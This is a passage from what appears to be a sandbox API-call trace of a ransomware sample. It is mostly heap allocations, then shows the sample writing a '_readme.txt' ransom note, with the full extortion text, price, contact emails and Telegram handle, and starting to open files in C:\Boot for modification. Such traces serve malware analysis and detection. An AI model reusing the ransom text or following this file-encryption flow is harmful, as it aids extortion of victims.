0x30f90a8 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.952] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0124.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.952] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.952] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.952] PathFindFileNameW (pszPath="") returned="" [0124.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.952] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.952] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.952] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.952] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e8ae0 [0124.953] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0124.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.953] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0124.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.953] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.953] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.953] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.953] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.953] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.953] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.954] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0124.954] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.954] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.954] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.954] HeapFree (in: 